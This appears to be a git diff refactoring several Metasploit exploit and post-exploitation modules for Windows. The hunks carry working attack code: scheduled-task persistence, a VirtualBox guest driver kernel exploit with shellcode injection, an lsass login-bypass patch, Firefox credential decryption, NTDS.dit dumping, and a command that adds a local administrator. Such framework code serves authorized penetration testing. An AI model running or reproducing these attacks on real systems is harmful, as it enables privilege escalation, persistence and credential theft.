||||
end
|
||||
xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")
|
||||
|
@ -228,7 +227,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Generate expire tag
|
||||
end_boundary = create_expire_tag
|
||||
# Inject expire tag
|
||||
insert = xml.index("</StartBoundary>")
|
||||
insert = xml.index('</StartBoundary>')
|
||||
xml.insert(insert + 16, "\n #{end_boundary}")
|
||||
end
|
||||
end
|
||||
|
@ -238,21 +237,21 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
##############################################################
|
||||
# Creates end boundary tag which expires the trigger
|
||||
# Returns XML for expire
|
||||
def create_expire_tag()
|
||||
def create_expire_tag
|
||||
# Get local time, not system time from victim machine
|
||||
begin
|
||||
vt = client.railgun.kernel32.GetLocalTime(32)
|
||||
ut = vt['lpSystemTime'].unpack("v*")
|
||||
ut = vt['lpSystemTime'].unpack('v*')
|
||||
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
|
||||
rescue
|
||||
print_error("Could not read system time from victim... Using your local time to determine expire date")
|
||||
rescue StandardError
|
||||
print_error('Could not read system time from victim... Using your local time to determine expire date')
|
||||
t = ::Time.now
|
||||
end
|
||||
|
||||
# Create time object to add expire time to and create tag
|
||||
t = t + (datastore['EXPIRE_TIME'] * 60)
|
||||
date = t.strftime("%Y-%m-%d")
|
||||
time = t.strftime("%H:%M:%S")
|
||||
t += (datastore['EXPIRE_TIME'] * 60)
|
||||
date = t.strftime('%Y-%m-%d')
|
||||
time = t.strftime('%H:%M:%S')
|
||||
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
|
||||
return end_boundary
|
||||
end
|
||||
|
@ -271,9 +270,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
temp_xml << " <Enabled>true</Enabled>\n"
|
||||
temp_xml << " <StateChange>#{trig}</StateChange>\n"
|
||||
temp_xml << " <UserId>#{domain}\\#{user}</UserId>\n"
|
||||
temp_xml << " </SessionStateChangeTrigger>"
|
||||
temp_xml << ' </SessionStateChangeTrigger>'
|
||||
|
||||
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
|
||||
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
|
||||
|
||||
return xml
|
||||
end
|
||||
|
@ -288,14 +287,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
temp_xml = "<EventTrigger>\n"
|
||||
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
|
||||
temp_xml << " <Enabled>true</Enabled>\n"
|
||||
temp_xml << " <Subscription><QueryList><Query Id=\"0\" "
|
||||
temp_xml << ' <Subscription><QueryList><Query Id="0" '
|
||||
temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">"
|
||||
temp_xml << line
|
||||
temp_xml << "</Select></Query></QueryList>"
|
||||
temp_xml << '</Select></Query></QueryList>'
|
||||
temp_xml << "</Subscription>\n"
|
||||
temp_xml << " </EventTrigger>"
|
||||
temp_xml << ' </EventTrigger>'
|
||||
|
||||
xml = xml.gsub(/<TimeTrigger>.*<\/TimeTrigger>/m, temp_xml)
|
||||
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
|
||||
return xml
|
||||
end
|
||||
|
||||
|
@ -309,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
begin
|
||||
write_file(path, xml)
|
||||
rescue
|
||||
rescue StandardError
|
||||
delete_file(rexe_path)
|
||||
fail_with(Failure::Unknown, "Issues writing XML to #{path}")
|
||||
end
|
||||
|
@ -320,11 +319,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Takes path and delete file
|
||||
# Returns boolean for success
|
||||
def delete_file(path)
|
||||
begin
|
||||
file_rm(path)
|
||||
rescue
|
||||
print_warning("Could not delete file #{path}, delete manually")
|
||||
end
|
||||
file_rm(path)
|
||||
rescue StandardError
|
||||
print_warning("Could not delete file #{path}, delete manually")
|
||||
end
|
||||
|
||||
##############################################################
|
||||
|
@ -332,43 +329,43 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Returns boolean for success
|
||||
def create_task(path, schname, rexe_path)
|
||||
# create task using XML file on victim fs
|
||||
create_task_response = cmd_exec("cmd.exe", "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
|
||||
create_task_response = cmd_exec('cmd.exe', "/c schtasks /create /xml #{path} /tn \"#{schname}\"")
|
||||
if create_task_response =~ /has successfully been created/
|
||||
print_good("Persistence task #{schname} created successfully")
|
||||
|
||||
# Create to delete commands for exe and task
|
||||
del_task = "schtasks /delete /tn \"#{schname}\" /f"
|
||||
print_status("#{"To delete task:".ljust(20)} #{del_task}")
|
||||
print_status("#{"To delete payload:".ljust(20)} del #{rexe_path}")
|
||||
print_status("#{'To delete task:'.ljust(20)} #{del_task}")
|
||||
print_status("#{'To delete payload:'.ljust(20)} del #{rexe_path}")
|
||||
del_task << "\ndel #{rexe_path}"
|
||||
|
||||
# Delete XML from victim
|
||||
delete_file(path)
|
||||
|
||||
# Save info to notes DB
|
||||
report_note(:host => session.session_host,
|
||||
:type => "host.s4u_persistance.cleanup",
|
||||
:data => {
|
||||
:session_num => session.sid,
|
||||
:stype => session.type,
|
||||
:desc => session.info,
|
||||
:platform => session.platform,
|
||||
:via_payload => session.via_payload,
|
||||
:via_exploit => session.via_exploit,
|
||||
:created_at => Time.now.utc,
|
||||
:delete_commands => del_task
|
||||
report_note(host: session.session_host,
|
||||
type: 'host.s4u_persistance.cleanup',
|
||||
data: {
|
||||
session_num: session.sid,
|
||||
stype: session.type,
|
||||
desc: session.info,
|
||||
platform: session.platform,
|
||||
via_payload: session.via_payload,
|
||||
via_exploit: session.via_exploit,
|
||||
created_at: Time.now.utc,
|
||||
delete_commands: del_task
|
||||
})
|
||||
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
|
||||
# Clean up
|
||||
delete_file(rexe_path)
|
||||
delete_file(path)
|
||||
error = "The scheduled task name is already in use"
|
||||
error = 'The scheduled task name is already in use'
|
||||
fail_with(Failure::Unknown, error)
|
||||
else
|
||||
error = "Issues creating task using XML file schtasks"
|
||||
error = 'Issues creating task using XML file schtasks'
|
||||
vprint_error("Error: #{create_task_response}")
|
||||
if datastore['EVENT_LOG'] == 'Security' and datastore['TRIGGER'] == "Event"
|
||||
print_warning("Security log can restricted by UAC, try a different trigger")
|
||||
if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event')
|
||||
print_warning('Security log can restricted by UAC, try a different trigger')
|
||||
end
|
||||
# Clean up
|
||||
delete_file(rexe_path)
|
||||
|
|
|
@ -50,7 +50,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ]
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ],
|
||||
'Reliability' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
|
@ -230,16 +231,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
# check OS
|
||||
unless sysinfo['OS'].include?('2012')
|
||||
version = get_version_info
|
||||
unless version.build_number == Msf::WindowsVersion::Server2012 && version.windows_server?
|
||||
return Exploit::CheckCode::Safe('Target is not Windows Server 2012.')
|
||||
end
|
||||
|
||||
if sysinfo['OS'].include?('R2')
|
||||
return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.')
|
||||
end
|
||||
|
||||
print_status("Target is #{sysinfo['OS']}")
|
||||
print_status("Target is #{version.product_name}")
|
||||
|
||||
# obtain the Windows Update setting to see if exploitation could work at all
|
||||
@wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions')
|
||||
|
|
|
@ -175,23 +175,17 @@ minutes to trigger and recieve a shell.")
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)
|
||||
if build_num.nil?
|
||||
return CheckCode::Unknown("Couldn't retrieve the target's build number!")
|
||||
else
|
||||
vprint_status("Target's build number: #{build_num}")
|
||||
build_num = build_num[0].to_i
|
||||
end
|
||||
version = get_version_info
|
||||
|
||||
vprint_status("Build Number = #{build_num}")
|
||||
vprint_status("OS: #{version.product_name}")
|
||||
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
|
||||
vulnerable_to_service = version.build_number.between?(Msf::WindowsVersion::Win7_SP1, Msf::WindowsVersion::Win10_1803)
|
||||
if datastore['METHOD'] =~ /service/i
|
||||
# Service method has been tested on Windows 7, 8 and 10 (1803 and ealier)
|
||||
return Exploit::CheckCode::Appears if (build_num >= 7601 && build_num <= 17134)
|
||||
elsif (sysinfo_value =~ /10/ && build_num >= 15063 && build_num <= 17134)
|
||||
return Exploit::CheckCode::Appears if vulnerable_to_service
|
||||
elsif version.build_number.between?(Msf::WindowsVersion::Win10_1703, Msf::WindowsVersion::Win10_1803)
|
||||
# DLL method has been tested on Windows 10 (1703 to 1803)
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif (datastore['METHOD'] =~ /dll/i && build_num >= 7601 && build_num < 15063)
|
||||
elsif datastore['METHOD'] =~ /dll/i && vulnerable_to_service
|
||||
print_error("The current target is not vulnerable to the DLL hijacking technique. Please try setting METHOD to 'SERVICE' and then try again!")
|
||||
end
|
||||
Exploit::CheckCode::Safe
|
||||
|
|
|
@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
|
@ -69,10 +69,10 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def fill_memory(proc, address, length, content)
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
|
||||
|
||||
if not proc.memory.writable?(address)
|
||||
vprint_error("Failed to allocate memory")
|
||||
if !proc.memory.writable?(address)
|
||||
vprint_error('Failed to allocate memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("#{address} is now writable")
|
||||
|
@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
result = proc.memory.write(address, content)
|
||||
|
||||
if result.nil?
|
||||
vprint_error("Failed to write contents to memory")
|
||||
vprint_error('Failed to write contents to memory')
|
||||
return nil
|
||||
else
|
||||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||||
|
@ -91,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -102,12 +102,12 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
os = sysinfo["OS"]
|
||||
unless (os =~ /windows xp.*service pack 3/i)
|
||||
version = get_version_info
|
||||
if version != Msf::WindowsVersion::XP_SP3
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys"
|
||||
file_path = get_env('WINDIR') << '\\system32\\drivers\\vboxguest.sys'
|
||||
unless file?(file_path)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
@ -139,21 +139,21 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
|
||||
fail_with(Failure::NoTarget, 'Unable to open \\\\.\\vboxguest device')
|
||||
end
|
||||
|
||||
print_status("Disclosing the HalDispatchTable address...")
|
||||
print_status('Disclosing the HalDispatchTable address...')
|
||||
hal_dispatch_table = find_haldispatchtable
|
||||
if hal_dispatch_table.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to disclose HalDispatchTable")
|
||||
fail_with(Failure::Unknown, 'Failed to disclose HalDispatchTable')
|
||||
else
|
||||
print_good("Address successfully disclosed.")
|
||||
print_good('Address successfully disclosed.')
|
||||
end
|
||||
|
||||
print_status('Getting the hal.dll base address...')
|
||||
|
@ -164,7 +164,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
|
||||
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
|
||||
|
||||
print_status("Storing the shellcode in memory...")
|
||||
print_status('Storing the shellcode in memory...')
|
||||
this_proc = session.sys.process.open
|
||||
|
||||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||||
|
@ -181,32 +181,32 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
||||
else
|
||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||||
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||||
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status('Checking privileges after exploitation...')
|
||||
|
||||
unless is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
if is_system?
|
||||
print_good('Exploitation successful!')
|
||||
else
|
||||
print_good("Exploitation successful!")
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
end
|
||||
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
|
||||
print_status("Injecting #{p.length} bytes to memory and executing it...")
|
||||
if execute_shellcode(p)
|
||||
print_good("Enjoy")
|
||||
print_good('Enjoy')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'English'
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -29,7 +30,6 @@ class MetasploitModule < Msf::Post
|
|||
core_channel_write
|
||||
stdapi_sys_config_getenv
|
||||
stdapi_sys_config_getuid
|
||||
stdapi_sys_config_sysinfo
|
||||
]
|
||||
}
|
||||
}
|
||||
|
@ -57,9 +57,9 @@ class MetasploitModule < Msf::Post
|
|||
when 'windows'
|
||||
@platform = :windows
|
||||
drive = session.sys.config.getenv('SystemDrive')
|
||||
os = session.sys.config.sysinfo['OS']
|
||||
version = get_version_info
|
||||
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
if version.build_number >= Msf::WindowsVersion::Vista_SP0
|
||||
@appdata = '\\AppData\\Roaming'
|
||||
@users = drive + '\\Users'
|
||||
else
|
||||
|
|
|
@ -64,7 +64,6 @@ class MetasploitModule < Msf::Post
|
|||
stdapi_fs_stat
|
||||
stdapi_sys_config_getenv
|
||||
stdapi_sys_config_getuid
|
||||
stdapi_sys_config_sysinfo
|
||||
stdapi_sys_process_get_processes
|
||||
stdapi_sys_process_kill
|
||||
]
|
||||
|
@ -106,7 +105,6 @@ class MetasploitModule < Msf::Post
|
|||
if datastore['DECRYPT']
|
||||
do_decrypt
|
||||
else # Non DECRYPT
|
||||
paths = []
|
||||
paths = enum_users
|
||||
|
||||
if paths.nil? || paths.empty?
|
||||
|
@ -151,7 +149,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
session.type == 'meterpreter' ? (size = '(%s MB)' % '%0.2f' % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')
|
||||
session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '')
|
||||
tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too
|
||||
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
|
||||
|
||||
|
@ -176,7 +174,7 @@ class MetasploitModule < Msf::Post
|
|||
Zip::File.open(tmp) do |zip_file|
|
||||
res = decrypt_modify_omnija(zip_file)
|
||||
end
|
||||
rescue Zip::Error => e
|
||||
rescue Zip::Error
|
||||
print_error("Error modifying: #{tmp}")
|
||||
return
|
||||
end
|
||||
|
@ -384,7 +382,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
case @platform
|
||||
when :windows
|
||||
unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
|
||||
version = get_version_info
|
||||
unless got_root || version.xp_or_2003?
|
||||
print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work')
|
||||
end
|
||||
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'metasm'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -44,7 +45,6 @@ class MetasploitModule < Msf::Post
|
|||
stdapi_railgun_api
|
||||
stdapi_railgun_memwrite
|
||||
stdapi_sys_config_getenv
|
||||
stdapi_sys_config_sysinfo
|
||||
stdapi_sys_process_getpid
|
||||
]
|
||||
}
|
||||
|
@ -57,23 +57,19 @@ class MetasploitModule < Msf::Post
|
|||
mem_base = nil
|
||||
dllpath = nil
|
||||
hDll = false
|
||||
|
||||
vuln = false
|
||||
winver = session.sys.config.sysinfo['OS']
|
||||
affected = [ 'Windows 2000', 'Windows XP' ]
|
||||
affected.each do |v|
|
||||
if winver.include? v
|
||||
vuln = true
|
||||
break
|
||||
end
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0)
|
||||
print_error("#{version.product_name} is not vulnerable.")
|
||||
return
|
||||
end
|
||||
if !vuln
|
||||
print_error("#{winver} is not vulnerable.")
|
||||
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2)
|
||||
print_error("#{version.product_name} is vulnerable, but not supported by this module.")
|
||||
return
|
||||
end
|
||||
|
||||
# syscalls from http://j00ru.vexillium.org/win32k_syscalls/
|
||||
if winver =~ /2000/
|
||||
if version.build_number == Msf::WindowsVersion::Win2000
|
||||
system_pid = 8
|
||||
pid_off = 0x9c
|
||||
flink_off = 0xa0
|
||||
|
@ -216,7 +212,7 @@ class MetasploitModule < Msf::Post
|
|||
print_error('Unable to allocate RWX memory @ 0x%x' % mem_base)
|
||||
return
|
||||
end
|
||||
print_status('Allocated 0x%x bytes of memory @ 0x%x' % [mem_size, mem_base])
|
||||
print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base))
|
||||
|
||||
# Initialize the buffer to contain NO-OPs
|
||||
nops = "\x90" * mem_size
|
||||
|
|
|
@ -6,6 +6,7 @@
|
|||
require 'metasm'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
|
@ -22,14 +23,13 @@ class MetasploitModule < Msf::Post
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'L4teral <l4teral[4t]gmail com>', # Meterpreter script
|
||||
'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
|
||||
'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_sys_config_sysinfo
|
||||
stdapi_sys_process_attach
|
||||
stdapi_sys_process_memory_read
|
||||
stdapi_sys_process_memory_write
|
||||
|
@ -53,23 +53,23 @@ class MetasploitModule < Msf::Post
|
|||
revert = datastore['REVERT']
|
||||
|
||||
targets = [
|
||||
{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os: /Windows XP.*Service Pack 2/ },
|
||||
{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os: /Windows XP.*Service Pack 3/ },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os: /Windows Vista/ },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os: /Windows Vista/ },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os: /Windows Vista/ },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os: /Windows 7/ },
|
||||
{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os: /Windows XP.*Service Pack 3 - spanish/ }
|
||||
{ sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 },
|
||||
{ sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 },
|
||||
{ sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 },
|
||||
{ sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish
|
||||
]
|
||||
|
||||
unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86)
|
||||
os = client.sys.config.sysinfo['OS']
|
||||
version = get_version_info
|
||||
|
||||
targets.each do |t|
|
||||
next unless os =~ t[:os]
|
||||
next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server?
|
||||
|
||||
target = t
|
||||
print_status("OS '#{os}' found in known targets")
|
||||
print_status("OS '#{version.product_name}' found in known targets")
|
||||
pid = client.sys.process['lsass.exe']
|
||||
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
dllbase = p.image['msv1_0.dll']
|
||||
|
|
|
@ -5,6 +5,7 @@
|
|||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Version
|
||||
# include Msf::Post::Windows::Priv
|
||||
|
||||
def initialize(info = {})
|
||||
|
@ -59,8 +60,8 @@ class MetasploitModule < Msf::Post
|
|||
def setup
|
||||
super
|
||||
validate_active_host
|
||||
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
|
||||
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
|
||||
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
||||
@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
||||
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
|
||||
@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)
|
||||
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
|
@ -69,8 +70,8 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def populate_command
|
||||
username = Rex::Text.rand_text_alpha((rand(6..13)))
|
||||
password = Rex::Text.rand_text_alpha((rand(6..13)))
|
||||
username = Rex::Text.rand_text_alpha(rand(6..13))
|
||||
password = Rex::Text.rand_text_alpha(rand(6..13))
|
||||
print_status("username = #{username}, password = #{password}")
|
||||
cmd_to_run = 'net user /add ' + username + ' ' + password
|
||||
cmd_to_run += ' & net localgroup administrators /add ' + username
|
||||
|
@ -95,8 +96,9 @@ class MetasploitModule < Msf::Post
|
|||
if sysinfo['Architecture'] == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
|
||||
end
|
||||
if sysinfo['OS'] =~ /XP/
|
||||
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
|
||||
version = get_version_info
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)
|
||||
fail_with(Failure::Unknown, 'The exploit does not support this OS')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -89,18 +89,18 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def copy_database_file
|
||||
database_file_path = nil
|
||||
case sysinfo['OS']
|
||||
when /2003| \.NET/
|
||||
print_status 'Using Volume Shadow Copy Method'
|
||||
database_file_path = vss_method
|
||||
when /2008|2012|2016/
|
||||
print_status 'Using NTDSUTIL method'
|
||||
database_file_path = ntdsutil_method
|
||||
else
|
||||
print_error 'This version of Windows is unsupported'
|
||||
version = get_version_info
|
||||
if version.windows_server?
|
||||
if version.build_number.between?(Msf::WindowsVersion::Server2003_SP0, Msf::WindowsVersion::Server2003_SP2)
|
||||
print_status 'Using Volume Shadow Copy Method'
|
||||
return vss_method
|
||||
elsif version.build_number >= Msf::WindowsVersion::Server2008_SP0
|
||||
print_status 'Using NTDSUTIL method'
|
||||
return ntdsutil_method
|
||||
end
|
||||
end
|
||||
database_file_path
|
||||
print_error 'This version of Windows is unsupported'
|
||||
return nil
|
||||
end
|
||||
|
||||
def ntds_exists?
|
||||
|
@ -114,7 +114,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def ntdsutil_method
|
||||
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(6..13)))}"
|
||||
tmp_path = "#{get_env('%WINDIR%')}\\Temp\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}"
|
||||
command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit"
|
||||
result = cmd_exec('ntdsutil.exe', command_arguments, 90)
|
||||
if result.include? 'IFM media created successfully'
|
||||
|
@ -190,12 +190,12 @@ class MetasploitModule < Msf::Post
|
|||
fail_with(Failure::NoAccess, 'Unable to start VSS service')
|
||||
end
|
||||
location = ntds_location.dup
|
||||
volume = location.slice!(0, 3)
|
||||
location.slice!(0, 3)
|
||||
id = create_shadowcopy(volume.to_s)
|
||||
print_status "Getting Details of ShadowCopy #{id}"
|
||||
sc_details = get_sc_details(id)
